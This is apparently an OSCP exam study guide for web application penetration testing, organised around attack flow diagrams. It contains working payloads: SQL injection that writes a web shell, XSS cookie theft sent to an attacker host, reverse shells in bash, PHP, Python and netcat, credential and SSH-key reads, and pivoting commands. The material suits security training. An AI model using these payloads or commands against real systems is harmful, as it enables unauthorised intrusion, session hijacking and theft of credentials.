Domain 2Web App AttacksCORE

Attack Flow Diagrams

Visual attack methodology guide with flow diagrams for web application penetration testing, from reconnaissance through exploitation to post-exploitation and pivoting in OSCP scenarios.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-01
#Methodology#Attack Chains#Post-Exploitation#Web to System#OSCP

Attack Flow Diagrams

Overview

This document provides visual and textual attack methodology guides for web application penetration testing. Each diagram is accompanied by a detailed step-by-step explanation, decision criteria, and OSCP-specific context. Use these flows as mental models during labs and the exam to structure your approach systematically.


1. Complete Web Application Attack Methodology

Flow Diagram

flowchart TD
    A[Reconnaissance] --> B[Technology Identification]
    B --> C[Attack Surface Mapping]
    C --> D[Vulnerability Discovery]
    D --> E{Vulnerability Type}

    E -->|Injection| F[SQLi / Command / XXE]
    E -->|XSS| G[Reflected / Stored / DOM]
    E -->|Access Control| H[IDOR / Privilege Escalation]
    E -->|File Operations| I[LFI / RFI / Path Traversal]
    E -->|Server-Side| J[SSRF / Deserialization]
    E -->|Authentication| K[Brute Force / Bypass]
    E -->|Session| L[Hijacking / Fixation]
    E -->|Logic| M[Business Logic Flaws]

    F --> N[Exploitation]
    G --> N
    H --> N
    I --> N
    J --> N
    K --> N
    L --> N
    M --> N

    N --> O[Post-Exploitation]
    O --> P[Privilege Escalation]
    P --> Q[Pivoting]
    Q --> R[Domain Admin / Root]

Step-by-Step Breakdown

Phase 1: Reconnaissance

Goal: Gather maximum information about the target before touching it.

  1. Passive Recon: DNS lookups, WHOIS, Shodan/Censys searches, Google dorking.
  2. Active Recon: Nmap port scanning, service version detection, banner grabbing.
  3. Technology Identification: Determine web server (Apache, Nginx, IIS), framework (PHP, ASP.NET, Django), CMS (WordPress, Drupal), and language versions.
# Nmap reconnaissance
nmap -sV -sC -p- target.com
nmap --script http-enum,http-title -p 80,443,8080 target.com

# Technology detection
whatweb http://target.com

OSCP Tip: On the exam, passive recon is limited. Focus on active scanning of assigned IP ranges. Use nmap -sV -sC -p- as your default starting command.

Phase 2: Attack Surface Mapping

Goal: Enumerate every entry point an attacker could use.

  1. Directory/File Enumeration: Use ffuf or Gobuster to discover hidden directories, backup files, and admin panels.
  2. Parameter Discovery: Identify all GET/POST parameters, hidden form fields, and API endpoints.
  3. User Enumeration: Discover valid usernames through registration forms, error messages, or profile pages.
  4. Subdomain Enumeration: For broader targets, enumerate subdomains that may host additional services.
# Directory enumeration
ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php,.html,.bak,.txt,.zip

# With recursion for deeper discovery
ffuf -u http://target.com/FUZZ -w common.txt -recursion -e .php

OSCP Tip: Pay special attention to .bak, .old, .swp, .git, and .zip files. OSCP machines frequently expose backup files containing source code or credentials.

Phase 3: Vulnerability Discovery

Goal: Identify exploitable weaknesses in the application.

Systematically test each category:

Category What to Look For Tools
Injection SQL errors, command output, XML parsing sqlmap, Burp Repeater
XSS Reflected input, stored comments, DOM manipulation XSStrike, manual testing
Access Control Sequential IDs, role parameters, missing checks Burp Repeater, manual
File Operations File inclusion parameters, upload forms Burp Repeater, manual
Authentication Weak passwords, no rate limiting, reset flaws Burp Intruder, hydra
Server-Side URL parameters, object serialization Burp Repeater, manual

Phase 4: Exploitation

Goal: Convert identified vulnerabilities into access (shell, credentials, or data).

See individual attack flows below for detailed exploitation chains.

Phase 5: Post-Exploitation

Goal: Maintain access, escalate privileges, and pivot to additional targets.

  1. Stabilize the shell: Upgrade from limited web shell to interactive reverse shell.
  2. Enumerate the system: Users, groups, SUID binaries, cron jobs, mounted shares.
  3. Local privilege escalation: Exploit kernel vulnerabilities, misconfigurations, or application flaws.
  4. Pivot: Use the compromised host to attack internal network targets.

2. SQL Injection Attack Flow

Flow Diagram

flowchart TD
    A[Identify injection point] --> B[Test for SQLi]
    B --> C{Error-based?}
    C -->|Yes| D[Extract data via errors]
    C -->|No| E{Boolean-based?}
    E -->|Yes| F[Extract data via true/false]
    E -->|No| G{Time-based?}
    G -->|Yes| H[Extract data via delays]
    G -->|No| I[Not vulnerable]

    D --> J[Enumerate database]
    F --> J
    H --> J

    J --> K[Extract tables]
    K --> L[Extract columns]
    L --> M[Dump data]

    M --> N{OS access possible?}
    N -->|Yes| O[Get OS shell]
    N -->|No| P[Use extracted credentials]

    P --> Q[Login to application]
    O --> R[Reverse shell]

Detailed Methodology

Step 1: Identify Injection Points

Test every user-controlled input:

  • URL parameters (?id=1, ?page=about)
  • POST form data (login forms, search boxes, comment fields)
  • HTTP headers (User-Agent, Referer, Cookie, X-Forwarded-For)
  • SOAP/JSON API parameters

Step 2: Determine Injection Type

Error-Based (Easiest)

-- Test with single quote
?id=1'

-- If you see a SQL error, you have error-based injection
-- Extract database name:
?id=1' UNION SELECT database(),2-- -

-- Extract version:
?id=1' UNION SELECT version(),2-- -

Boolean-Based Blind

-- True condition (page loads normally)
?id=1' AND 1=1-- -

-- False condition (page changes or breaks)
?id=1' AND 1=2-- -

-- Extract data character by character:
?id=1' AND SUBSTRING(database(),1,1)='d'-- -

Time-Based Blind

-- If true, page delays by 5 seconds
?id=1' AND IF(1=1, SLEEP(5), 0)-- -

-- Extract data:
?id=1' AND IF(SUBSTRING(database(),1,1)='d', SLEEP(5), 0)-- -

Union-Based

-- Determine number of columns
?id=1' ORDER BY 1-- -
?id=1' ORDER BY 2-- -
?id=1' ORDER BY 3-- -  -- Error means 2 columns

-- Extract data
?id=1' UNION SELECT username,password FROM users-- -

Step 3: Automate with sqlmap

# Full automation from detection to shell
sqlmap -u "http://target.com/page?id=1" --batch --os-shell

# Step by step
sqlmap -u "http://target.com/page?id=1" --dbs --batch
sqlmap -u "http://target.com/page?id=1" -D "db_name" --tables --batch
sqlmap -u "http://target.com/page?id=1" -D "db_name" -T "users" --dump --batch

Step 4: From SQLi to Shell

Database Technique Command
MySQL INTO OUTFILE Write PHP web shell to web root
MySQL LOAD_FILE() Read /etc/passwd or SSH keys
MSSQL xp_cmdshell Execute OS commands directly
MSSQL OPENROWSET Read/write files
PostgreSQL COPY TO/FROM Read/write files
SQLite Limited Extract data, rarely get shell

MySQL Web Shell Upload:

-- Write a PHP reverse shell
?id=1' UNION SELECT "<?php system(\$_GET['cmd']);?>",2 INTO OUTFILE '/var/www/html/shell.php'-- -

-- Access the shell
http://target.com/shell.php?cmd=id

OSCP Tip: On OSCP machines, MySQL often runs as root or has FILE privilege. If you can write to the web root, you get a web shell immediately. Always try --os-shell in sqlmap.


3. XSS Exploitation Chain

Flow Diagram

flowchart TD
    A[Find input point] --> B[Test basic payload]
    B --> C{Reflected?}
    C -->|Yes| D[Reflected XSS]
    C -->|No| E{Stored?}
    E -->|Yes| F[Stored XSS]
    E -->|No| G{DOM-based?}
    G -->|Yes| H[DOM XSS]
    G -->|No| I[Not vulnerable]

    D --> J[Craft payload]
    F --> J
    H --> J

    J --> K{Goal?}
    K -->|Cookie theft| L[document.cookie exfil]
    K -->|Keylogging| M[Keyboard capture script]
    K -->|Phishing| N[Login form overlay]
    K -->|CSRF| O[Auto-submit form]
    K -->|BeEF| P[Hook into BeEF framework]

    L --> Q[Deliver to victim]
    M --> Q
    N --> Q
    O --> Q
    P --> Q

    Q --> R{Victim clicks?}
    R -->|Yes| S[Session hijacked]
    R -->|No| T[Try different lure]
    S --> U[Access as victim]

XSS Types Explained

Reflected XSS

The payload is reflected in the HTTP response immediately. Requires social engineering to get the victim to click a malicious link.

<!-- Basic payload -->
<script>alert('XSS')</script>

<!-- Cookie theft -->
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>

<!-- Encoded for filters -->
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>

Stored XSS

The payload is stored on the server (database, file) and served to users who visit the affected page. Much more impactful — no social engineering needed beyond getting the admin to visit the page.

<!-- Stored in a comment field, profile bio, etc. -->
<script>
  new Image().src='http://attacker.com/log?cookie='+document.cookie;
</script>

DOM-Based XSS

The vulnerability exists in client-side JavaScript that manipulates the DOM based on user input (URL fragment, search params).

// Vulnerable code:
document.write(location.hash);

// Exploit:
#<script>alert(1)</script>

OSCP XSS Exploitation Strategy

  1. Set up a listener to receive stolen cookies:

    # Simple Python HTTP server
    python3 -c "
    from http.server import HTTPServer, BaseHTTPRequestHandler
    class H(BaseHTTPRequestHandler):
        def do_GET(self):
            print(self.path)
            self.send_response(200)
            self.end_headers()
    HTTPServer(('',80),H).serve_forever()
    "
  2. Craft the payload:

    <script>document.location='http://<YOUR_IP>/steal?c='+document.cookie</script>
  3. Deliver the payload:

    • For reflected XSS: Create a link and trick the admin into clicking it.
    • For stored XSS: Submit the payload through the vulnerable form. The admin will trigger it when viewing the page.
  4. Use the stolen cookie:

    • Import the cookie into your browser (using EditThisCookie or similar extension).
    • Access the application as the authenticated user.

OSCP Tip: On OSCP, XSS is often a stepping stone to admin access. The goal is usually to steal an admin’s session cookie, not to achieve code execution directly.


4. Post-Exploitation: Web to System Chain

Flow Diagram

flowchart TD
    A[Web Shell / RCE] --> B[Identify OS and User]
    B --> C[Enumerate System]
    C --> D{Local Privilege Escalation?}
    D -->|Yes| E[Exploit LPE]
    D -->|No| F[Pivot to other systems]

    E --> G[Root / Admin Access]
    F --> H[Network Scanning]
    H --> I[Target Internal Systems]

    G --> J[Domain Enumeration]
    J --> K[Domain Admin Attack]
    I --> K
    K --> L[Full Network Compromise]

    subgraph Initial Access
        A
        B
    end

    subgraph Enumeration
        C
    end

    subgraph Privilege Escalation
        D
        E
        G
    end

    subgraph Lateral Movement
        F
        H
        I
        J
        K
    end

    subgraph Objective
        L
    end

Detailed Post-Exploitation Methodology

Step 1: Stabilize the Shell

From Web Shell to Reverse Shell:

# If you have a PHP web shell, upgrade to a reverse shell:
# Method 1: PHP reverse shell
php -r '$sock=fsockopen("10.10.14.X",9001);exec("/bin/sh -i <&3 >&3 2>&3");'

# Method 2: Bash reverse shell
bash -i >& /dev/tcp/10.10.14.X/9001 0>&1

# Method 3: Python reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.X",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# Method 4: Netcat (if available)
nc -e /bin/sh 10.10.14.X 9001

Listener Setup:

# Basic netcat listener
nc -lvnp 9001

# Socat (more stable, supports TCP relay)
socat FILE:`tty`,raw,echo=0 TCP-LISTEN:9001,reuseaddr

Upgrade to TTY:

# Once you have a reverse shell, upgrade to full TTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Or:
script -qc /bin/bash
# Then press Ctrl+Z, run:
stty raw -echo; fg

Step 2: System Enumeration

# Who am I?
whoami
id
groups

# What OS?
uname -a
cat /etc/os-release
cat /etc/issue

# What can I do?
sudo -l
find / -perm -4000 2>/dev/null  # SUID binaries
find / -writable -type d 2>/dev/null  # Writable directories
crontab -l
cat /etc/crontab

# Network info
ifconfig
ip addr
route -n
netstat -antup

# Interesting files
cat /etc/passwd
cat /etc/shadow  # If readable
ls -la /home/
find /home -name "*.txt" -o -name "*.conf" -o -name "*.key" 2>/dev/null

# Check for SSH keys
find / -name "id_rsa" 2>/dev/null
cat ~/.ssh/id_rsa  # If accessible

Step 3: Local Privilege Escalation

Common LPE Vectors on OSCP:

Vector Detection Exploitation
SUID binaries find / -perm -4000 GTFOBins, custom exploits
Sudo misconfig sudo -l Run privileged commands as root
Kernel exploits uname -r Searchsploit for kernel version
Cron jobs crontab -l, /etc/crontab Modify writable scripts
Writable files find / -writable Modify PATH, LD_PRELOAD
Docker access docker ps Mount host filesystem
SSH keys find / -name id_rsa Use key to SSH as other user

Using LinPEAS:

# Upload and run LinPEAS for automated enumeration
# On attacker machine:
python3 -m http.server 80

# On target:
wget http://10.10.14.X/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Step 4: Pivoting and Lateral Movement

SSH Tunneling:

# Local port forward (access internal service via compromised host)
ssh -L 8080:internal.target:80 user@compromised-host

# Dynamic SOCKS proxy (browse entire internal network)
ssh -D 1080 user@compromised-host
# Configure proxychains:
# proxychains firefox http://internal.target

Chisel for Pivoting:

# On compromised host (server):
./chisel server --reverse --port 8000

# On attacker machine (client):
./chisel client 10.10.10.X:8000 R:socks

# Configure proxychains to use localhost:1080
proxychains nmap -sV -p- 10.20.0.5

Metasploit Pivot:

use post/multi/manage/autoroute
set SESSION 1
run

# Or use meterpreter:
run get_system
run post/multi/recon/local_exploit_suggester

Step 5: Domain Enumeration (Windows Targets)

# Basic domain info
whoami /all
net user /domain
net group "Domain Admins" /domain
net group "Domain Controllers" /domain

# Network discovery
Get-NetDomain
Get-NetUser
Get-NetComputer

# Check for password reuse
# Try credentials from web app against other services

5. Vulnerability Selection Decision Tree

Flow Diagram

flowchart TD
    A[Start Testing] --> B{Injection Points Found?}
    B -->|Yes| C[Test SQLi First]
    B -->|No| G[Check Auth Mechanisms]

    C --> D{SQLi Confirmed?}
    D -->|Yes| E[Exploit SQLi → Shell]
    D -->|No| F[Test Command Injection]

    F --> H{Cmd Injection?}
    H -->|Yes| I[Exploit → Shell]
    H -->|No| J[Test LFI/RFI]

    J --> K{File Inclusion?}
    K -->|Yes| L[Read files / Include web shell]
    K -->|No| M[Test File Upload]

    M --> N{Upload Vulnerable?}
    N -->|Yes| O[Upload web shell]
    N -->|No| G

    G --> P{Weak Auth?}
    P -->|Yes| Q[Brute Force / Bypass]
    P -->|No| R[Test IDOR / Access Control]

    R --> S{Access Control Flaw?}
    S -->|Yes| T[Access admin panel]
    S -->|No| U[Test XSS]

    U --> V{XSS Found?}
    V -->|Yes| W[Steal admin cookie]
    V -->|No| X[Reassess / Try XXE / SSRF]

    E --> Y[Shell Obtained]
    I --> Y
    L --> Y
    O --> Y
    Q --> Z[Credentials Obtained]
    T --> Z
    W --> Z

    Z --> AA[Login → Find Upload/Injection]
    AA --> Y

Decision Criteria

Priority Order for OSCP:

  1. SQL Injection → Highest priority. Direct path to data extraction and often to OS shell.
  2. Command Injection → Second priority. Direct RCE, often leads to immediate shell.
  3. File Upload → Third priority. Upload a web shell for persistent access.
  4. LFI/RFI → Fourth priority. Read sensitive files or include remote shells.
  5. Authentication Brute Force → Fifth priority. Get credentials, then look for upload/injection points.
  6. IDOR/Access Control → Sixth priority. Access admin functionality that may have upload or injection.
  7. XSS → Seventh priority. Steal admin cookies for session hijacking.
  8. XXE/SSRF → Lower priority on OSCP but worth checking if other paths are blocked.

Why This Order?

  • SQLi and command injection give you the fastest path to a shell.
  • File upload is reliable and often overlooked by developers.
  • Authentication bypass gives you a foothold to find secondary vulnerabilities.
  • XSS requires social engineering (admin must click/visit), making it slower.

6. Complete Exam Attack Flow (Condensed)

Flow Diagram

flowchart LR
    subgraph Recon
        A1[Nmap Scan] --> A2[ffuf Enum]
        A2 --> A3[Burp Intercept]
    end

    subgraph Exploit
        B1[SQLi Test] --> B2[Cmd Inj Test]
        B2 --> B3[Upload Test]
        B3 --> B4[Auth Test]
        B4 --> B5[XSS Test]
    end

    subgraph PostExploit
        C1[Stabilize Shell] --> C2[Enumerate]
        C2 --> C3[LPE]
        C3 --> C4[Pivot]
        C4 --> C5[Next Target]
    end

    A3 --> B1
    B5 --> C1
    C5 --> A1

Time-Allocation Guide for OSCP Exam

Phase Target Time Budget Notes
Nmap scan Each IP 5-10 min Use aggressive flags for speed
Web enum (ffuf) Each web service 10-15 min Start with common.txt
Burp analysis Each endpoint 15-30 min Focus on login, search, upload
Exploitation Per vulnerability 20-45 min sqlmap can take time; set a limit
Post-exploitation Per box 20-40 min LinPEAS + manual enumeration
Privilege escalation Per box 15-30 min Focus on SUID, sudo, kernel
Pivoting As needed 10-20 min SSH tunnel or chisel

Total per box: 1.5 - 3 hours (depending on difficulty)


7. Common OSCP Web Attack Patterns

Pattern 1: Directory Enum → Admin Panel → SQLi → Shell

ffuf finds /admin → Login page found → SQLi in login form → sqlmap dumps credentials → Login as admin → File upload → Web shell → Reverse shell

Pattern 2: Default Credentials → Upload → Shell

Nikto finds /manager → Default creds (tomcat/tomcat) → Deploy WAR file → JSP shell → Reverse shell

Pattern 3: LFI → /etc/passwd → SSH Key → SSH Login

LFI in ?page= parameter → Read /etc/passwd → Find interesting user → LFI /home/user/.ssh/id_rsa → SSH as that user → LPE
Reflected XSS in search → Craft phishing link → Admin clicks → Cookie stolen → Import cookie → Access admin panel → Upload PHP shell → Reverse shell

Pattern 5: Command Injection → Direct Shell

?ip= parameter → Test with ;id → Command injection confirmed → ;bash -i >& /dev/tcp/ATTACKER/PORT 0>&1 → Reverse shell

Key Takeaways

  1. Always start with reconnaissance: Nmap + ffuf will reveal 80% of your attack surface.
  2. SQLi and command injection are your fastest paths to a shell: Test these first on every input point.
  3. Burp Suite is your primary weapon: Master Repeater and Intruder for manual exploitation.
  4. Post-exploitation is where the exam is won: A web shell is just the beginning. Practice LPE and pivoting extensively.
  5. Document everything: The OSCP report requires detailed documentation of each step. Take screenshots as you go.
  6. Time management is critical: Set a 30-minute timer per approach. If stuck, move on and come back later.